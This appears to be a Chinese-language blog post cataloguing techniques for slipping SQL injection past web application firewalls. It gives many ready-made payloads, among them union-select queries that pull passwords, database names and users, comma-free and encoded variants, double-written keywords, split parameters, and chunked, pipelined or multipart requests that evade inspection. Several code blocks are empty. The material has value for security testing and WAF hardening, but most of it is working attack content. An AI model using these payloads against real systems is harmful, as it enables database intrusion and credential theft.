SQL注入绕过
前言
断更了近一年,再回来还是樱花盛放的季节。期间发生了很多事,上一篇文章下面评论的妹妹已经成了女朋友:),三月也要和你一起努力
本文是对SQL注入绕过技术的总结,以后看到新姿势就加进来,不定期更新
空格绕过
空格在url编码中通常为%20,如果这个字符被waf拦截时,我们可以用以下的字符来替换
字符 | 含义 |
---|---|
%09 | TAB键(水平) |
%0a | 新建一行 |
%0b | TAB键(垂直) |
%0c | 新的一页 |
%0d | 回车键 |
%a0 | 空格 |
%00 | 终止符 |
/**/ | mysql注释符 |
/*!*/ | mysql注释符+检测版本的语法 |
特别注意:
- %00会截断语句,有时候不可直接作为空格的替换字符,如果直接使用会造成sql语句报错
- mysql中有个特性,一般情况下
/*!*/
是用于检测mysql版本,也就是感叹号后面要加数据库版本号。如果高于这个版本,就执行后面的语句。例如下面的语句表示数据库版本高5.00.09才会执行
/*!50009 select * from test*/
另外通常感叹号后面加的是数字,如果是其他字符将会报错。但有例外,如果加的是sql关键字比如union、select、where等,那么也能正常执行。
以下还有师傅总结的各种数据库中的空白字符
1 |
|
浮点数绕过
如果注入点是整型,那么将其改为浮点数也能绕过部分waf,如将8改为8E0或8.0
大小写绕过
将字母改为大小写混合的形式,如
select * from users where id=1 UnIon SelEct 1,2,3–+
NULL值绕过
在mysql中“\N”代表null
select * from users where id=\Nunion select 1,2,\N
注意:\N后面的空格可加可不加,语法上都可行,不加可以绕过部分waf
十六进制绕过
如果waf过滤了单引号、双引号,那么可以将值转为十六进制再进行查询,如’admin’的十六进制为’61646D696E’,那么我们直接把’admin’替换为0x61646D696E就好,整个payload就不需要引号了。需要注意的是只有注入点是整型才可以,如果注入点是字符型则没法闭合引号,会导致语句报错。
select * from users where id=-1 union select 1,2,(select password from users where username=’admin’)–+
select * from users where id=-1 union select 1,2,(select password from users where username=0x61646D696E)–+
添加库名表名&&跨库查询
select password from users
select users.password from security.users
假设我们要查询的数据库为security,表为users,以上两条语句的查询结果是一样的。下面加了库名表名的语句就可以绕过部分waf
打破常见关键字组合绕过
“union select”这两个关键字在查询时通常都会连在一起使用,waf规则编写者在带有这种惯性思维编写规则时,会将带有这一整个组合的字符串一起过滤,这也会给我们可乘之机。比如在这两个关键字中再加上一个关键字,但不改变语句的查询结果,有这种关键字吗?有,比如“distinct”去重复关键字,“all”查询全部,以及“distinct”的同义词“distinctrow”。或者直接在这之间加入换行符或者注释
-1’ union distinct select password from users–+
-1’ union all select password from users–+
-1’ union%0a/*任意字符。。。*/select password from users–+
反引号绕过
查询语句在表名上,可以加上反引号,也可以不加反引号,都能正常执行。有时候加上反引号可以绕过
-1’ union select password from `users`–+
脚本语言特性绕过
PHP中同一个变量最后出现的值会覆盖前面的赋值,比如
id=1&id=2
此时在php中id取值为2,我们可以利用这个特性来绕过waf,需要注意的是不同的脚本语言配合不同的中间件有不同的特性
id=1%00&id=2 union select 1,2,3–
%00是截断字符,有的waf匹配到第一个%00时,会终止匹配,从而让后面的语句进入执行,最终php处理的语句为id=2 union select 1,2,3--
从而造成了注入。
其他语言特性
逗号绕过
在常规的显式注入中,我们会用union select来让想要的信息直接显示在页面上。但有些waf会过滤逗号,所以我们需要找一种不需要逗号的注入方式。对于显式查询和盲注有不同的绕过绕过方式,join连接可以用于显式注入,而substr、mid、like这类字符对比类的方法可以用于盲注的场景。
join连接
先说存在显式注入的情况。在常规的显式注入时,我们会用联合查询也就是union select来把数据显示在页面上
id=1 union select 1,database(),user()–
问题是这会有逗号,用join就可以在没有逗号的情况下使用联合查询显式爆数据。用下面的语句可以达到和上面语句一样的效果
id=1 union select (select 1)a join (select database())b join (select user())c
这里我们让id=-1确保没有对应的信息,这样才能显示后面我们想要的数据。前面的users表有三个字段,所以这里联合查询的时候第一个字段显示1,第二,三个字段分别显示当前的数据库名和用户名。另外就是由于join连接后是表,所以在union select后是从联合表中查询信息,不能像之前那样直接union select 1,2,database()
来获取信息。
substr截取字符
在常规的盲注中获取当前使用的数据库名,我们会用以下语句来对比数据库的第一位字符
id=1 and ‘s’=(select(substr(database(),1,1)))–
我们来关注一下语句的后半段,substr这个函数的第一个参数是需要截取的字符,这个不用多说。第二个参数是从第几位开始截取,第三个参数是截取的步长,也就是截取几位字符。也可以写作substr(database() from 1 for 1)
这种形式,从而把逗号去除。再看前面的’s’可以用十六进制来表示,字母s对应的十六进制为0x73,所以上面的语句可以变为
id=1 and 0x73=(select(substr(database()from 1 for 1)))–
mid
除了substr这个函数可以用来截取字符串绕过逗号,也可以使用mid来代替substr,用法完全相同,原理同上。
id=1 and 0x73=(select(mid(database()from 1 for 1)))–
like模糊查询
用like模糊查询也是一种用于盲注的字符对比类的注入方式,模糊查询匹配成功返回1,否则返回0。我们可以一个字符一个字符来遍历得到结果。这种方式也不需要逗号。
limit offset绕过
在遍历数据时,我们会用limit去选取哪一行或者哪几行的数据。limit如果只给一个参数时代表rows,即需要的行数。如果给了两个参数,那么第一个参数代表offset,即从第几行开始选取,第二个参数代表rows。下面的语句表示从2开始选取一条数据
select * from users limit 2,1;
如果waf过滤了逗号,也可以写作limit [rows] offset [offset]
的形式
select * from users limit 1 offset 2;
运算符绕过
这四个关键字是手工注入中判断是否存在注入点最常用的方式,主流waf都会对id=1 and 1=1
类似这些语句做拦截。其实这四个关键字可以用逻辑运算符号来替代
逻辑运算符 | 对应符号 | 使用形式 |
---|---|---|
and | && | id=1 && 1=1 |
or | || | id=1 || 1=1 |
not | ! | id=1 && 1=(!(!1)) |
xor | ^ | id=1 && 1^1 |
关于not还有一种姿势,(-1 not in (1))
这个语句恒等于1,而(-1 not in (-1))
这个语句恒等于0,所以我们也可以用这个来代替前面的1=1
的判断
select * from users where id=-1 not in (1)
select * from users where id=-1 not in (-1)
还有以下6种位运算符
位运算符 | 说明 | 使用形式 |
---|---|---|
| | 位或 | a|b |
& | 位与 | a&b |
^ | 位异或 | a^b |
~ | 位取反 | ~a |
<< | 位左移 | a<<b |
>> | 位右移 | a>>b |
也可以用运算符来对手工注入的语句做一些变换
id=1 && 2=1+1
ascii字符对比绕过
有些waf对union select拦截的话,我们就没办法使用显式注入了。不过可以用盲注中的字符对比法来爆数据。
select * from users where id=1 and substr(database(),1,1)=’s’
select * from users where id=1 and ascii(substr(database(),1,1))=115
在做判断时也可以构造恒成立的语句,比如字母s的ascii就是115,这也是一种1=1
的变体
select * from users where id=1 and ascii(substr(‘s’,1,1))=115
等号绕过
如果waf对等号=拦截,可以用大于号>、小于号<、like、rlike模糊查询以及正则查询regexp来绕过
select * from users where id=1 and ascii(substr(database(),1,1))>114
值得一提的是,用等号跑数据需要遍历每个字母,但用大于号和小于号可以用二分法查询,从而减少查询次数,加快查询速度
select * from users where id=1 and substr(database(),1,1)like ‘s%’
顺便说一下like和rlike的区别,like就是模糊查询。rlike是REGEXP_LIKE()的同义词,也是regexp的同义词。根据正则来匹配。另外他们都不区分大小写。
select * from users where id=1 and substr(database(),1,1) regexp ‘^s’;
等号也可以用in和between来代替:
双写关键字绕过
有的防御脚本对特定关键字只过滤一次,如union、select等,那我们就可以双写关键字,使过滤一次以后的语句能正常执行
id=1 uunionnion seleselectct 1,2,3–
该语句被过滤一次关键字后(粗体)就变成了正常的注入语句,从而绕过了防御脚本
id=1 union select 1,2,3–
多参数拆分绕过
首先来看一段php代码
1 |
|
有两个参数被拼接在了同一条sql查询语句中,假设waf会对每个提交上来的参数拦截其中的“union select”,该如何绕过?此时可以将“union select”拆分在不同的参数中,payload如下
1’ union/*&username=admin*/select 1,2,3–+
可以看到username这个参数的直接被注释掉,为了看的更清晰,去除注释后的语句就变成了
select * from users where id=’1’ union select 1,2,3–
就变成了一个非常普通的union select注入。小总结一下多参数拆分注入的要点是:同一条sql查询语句中存在两个或以上的可控参数
生僻函数绕过
updatexml()函数经常用于报错注入中,所以waf也会对这个函数进行拦截。我们可以在mysql文档中寻找一些生僻的函数,来达到同样的效果,比如polygon()
select polygon((select * from (select * from (select @@version) f) x));
还有其他的一些等价函数,如下
1 |
|
信任白名单
像phpmyadmin这些web端的mysql管理软件,会有大量的sql语句拼接在url中。有些waf本意是为了防止对这些管理软件的url拦截而自带文件白名单,如果请求的是白名单中的文件名,sql语句就直接放行。
白名单通常有:/admin
,/phpmyadmin
,/admin.php
可以随便赋值给一个参数就行,只要包含在url就可以
静态文件绕过
出了白名单文件目录绕过外, 有些waf也不会对静态文件后的参数做检查,静态文件如图片jpg,png,gif,svg,样式文件css,脚本文件js,字体文件woff,ttf,利用方式也是加在url当中即可
http://localhost/sqli.php?aaa=/1.css&id=-1‘ and 1=1–+
http://localhost/sqli.php?/1.jpg&id=-1‘ and 1=1–+
order by绕过
order by常用于手工注入时判断表中字段的个数,order by被拦截时可以用@符号绕过,@在mysql中是取变量的含义
select * from users where id=1 union select @a,@b,@c–+
可以看到如果变量个数与字段数不相等则会报错
再简单些也可以不输变量名,只用@符号,并且不用union select联合查询,用into赋值语句
改变请求方式绕过
所谓的改变请求方式就是原本是get请求,可以变成用post去请求;原本是post的请求可以变成用get去请求。有几率绕过waf。具体原理我们先举个例子,首先我们都知道,如果是post请求,服务器会从请求体body中取参,而如果是get请求,服务器会从url中取参。所以waf在接收到post请求时会检测请求体body里的参数,接收到get请求时会检测url中的参数。假设服务端要用get方式接受一个id参数,那么服务端的语句一定是$id=$_GET['id'];
。那么如果我们用post给这个接口发起请求,waf检测到这是个post请求就会去检测请求体中的参数,但实际上服务端脚本接受到的是url中的参数,我们就可以在url中的参数中sql注入。
右下角是服务器的代码,接受一个get请求的id参数。我们用post请求服务器照样可以正常接收到get参数,但waf可能就会认为这是个post请求从而去检查post请求体中的参数,造成了绕过。在实际应用中也可以试试put等请求方式
application/json 或 text/xml 绕过
有些waf对于json或xml中的数据不会做检查,从而造成了绕过。注意请求头中的Content-Type
要设置为application/json或text/xml,并且后端程序支持接受这类形式的传参。
脏数据溢出绕过
在真正的payload前填入大量的脏数据,数据太多超过了waf的检测范围。真正的原理据说是因为这算是一个缓冲区溢出。很多waf是C语言编写的,而C语言本身没有缓冲区保护机制。waf在检测超过其缓冲区长度的payload时就会造成绕过。
id=1’ and (select 1)=(select 0xA*1000) union select 1,2database()–+
这里的select 0xA*1000
指的是对0xA的A重复1000次。
花括号绕过
在值的位置加上花括号,左边x的位置上可以输入任意字母开头+数字的组合
编码绕过
利用编码绕过waf的最基本的原理就是waf识别不了请求包中的编码协议,或者说对请求包中的编码处理能力有限,但服务器却可以正确识别并处理
二次编码绕过
一开始会把二次编码注入和二次注入搞混淆,关于二次注入会新开一篇文章讲讲。这里先说二次编码注入绕过waf。首先我们先来看一段php代码
1 |
|
乍一看sql语句是经过转义过的,直接执行应该没什么问题。但是我们注意到这个urldecode()函数。这里借用一张图来解释说明。浏览器在传输get方式提交的参数时,会将参数url编码一次,nginx、apache之类的中间件会将参数解码一次。但是如果浏览器传入的是二次url编码后的数据,waf检测到的是只经过一次url解码后的数据,自然就认为是正常的数据了。
这里用burp做两次url编码
一次编码的查询结果,可以看到单引号是被正常转义的
两次编码的查询结果,可以看到二次编码后单引号反而没有被转义,直接可以注入了
url编码绕过
可以将整个payload做一次url编码,也可以对其中单独的字符做url编码,如N的url编码是%4e,在payload中直接用%4e代替,服务器会自动解码后去查询。
ibm037编码
我们需要在Content-Type上设置编码为ibm037,
Content-Type: application/x-www-form-urlencoded; charset=ibm037
并且将请求体用ibm037编码。这里放一段ibm037的编码脚本
1 |
|
ibm037的支持情况可以参考以下表格
unicode编码绕过
unicode形式:“\u”或者“%u”加上4位16进制unicode码值
iis会自动识别这种编码,有些waf不会拦截这种编码
和url编码一样,可以部分编码,也可以全编码
部分编码,大写N的unicode编码为\u004e,小写s的unicode编码为\u0073,所以payload为
id=-1 u\u004eion \u0073elect 1,2,database()–
全编码:
id=-1 union select 1,2,database()–
\u0069\u0064\u003d\u002d\u0031\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0031\u002c\u0032\u002c\u0064\u0061\u0074\u0061\u0062\u0061\u0073\u0065\u0028\u0029\u002d\u002d\u0020
如果请求包为JSON格式,也可以将payloadu全部或部分转为unicode编码来绕过waf,参考JSON RFC
union select绕过
waf 会针对union select 进行拦截
1 |
|
其他畸形payload(持续新增)
union select””a1,database(),3
union select+1,database(),3
换行+注释绕过关键表名检测,如
information_schema.tables
:information_schema%23%0a.%23%0a.tables
分块传输绕过
分块传输本意用于post的数据过大,需要分成好几个chunk来传输。我们可以利用这个特性来分割payload,从而绕过部分waf。在请求的header中加入Transfer-Encoding: chunked
之后,就代表这个报文采用了分块编码。每个分块的首行为数据的长度值(十六进制),可以在长度标识处加上分号“;”作为注释。第二行为数据行,将原payload分为若干个分块,在最后一块数据后加上一个0和两个换行符也就是CRLF,表示后面没有其他数据了。
新增:最近看到c0ny1师傅提出了一种延时分块传输绕过waf的姿势,学习了Java反序列化数据绕WAF之延时分块传输
Pipeline绕过
在http中使用pipeline是为了复用TCP连接从而加速数据传输速度、降低延迟。在http1. 0中,pipeline是默认关闭的,除非客户端在请求的header中使用Connection:Keep-Alive
。在http1.1中,默认所有的连接都是持久连接。利用pipeline的特性将payload分成两个包,前一个放sql注入的payload,后一个放正常的数据包,有些waf会只检查最后一个数据包从而造成绕过。其实这个技术的本质就是HTTP请求走私。
下面说一下构造pipeline请求的方式:
- 在burp中取消勾选“Update Content-Length”
- 复制一份数据包,直接跟在第一个数据包的后面
- 将第一个数据包的
Connection
改为Keep-Alive
- 将第二个数据包的post body改为正常的数据
- 最后手动计算一下第二个包的数据长度,设置在Content-Length中,比如我的第二个包的数据
uname=1&passwd=1&submit=Submit
长度为30,Content-Length就设置为30 - 点击Send发送数据包即可
multipart/form-data绕过
这种方式也称“协议未覆盖绕过”
http的Content-Type提交表单支持三种类型:
application/x-www-form-urlencoded 编码模式 这也是最常见的form表单提交的格式
multipart/form-data 这种格式多用于文件上传的file控件
text/plain 文本模式
Content-Type的作用就是告诉服务器提交上来的表单是以什么格式编码的,以便于服务器解码。由于multipart/form-data多用于对上传的文件进行编码,所以有些waf不会检查编码后的文件内容,如果我们以这种形式提交post数据,则可以绕过waf。
组合技绕waf
通常绕过waf需要将上述的技巧进行组合,比如分块传输+multipart/form-data绕过,先进行form-data编码,再进行分块传输编码。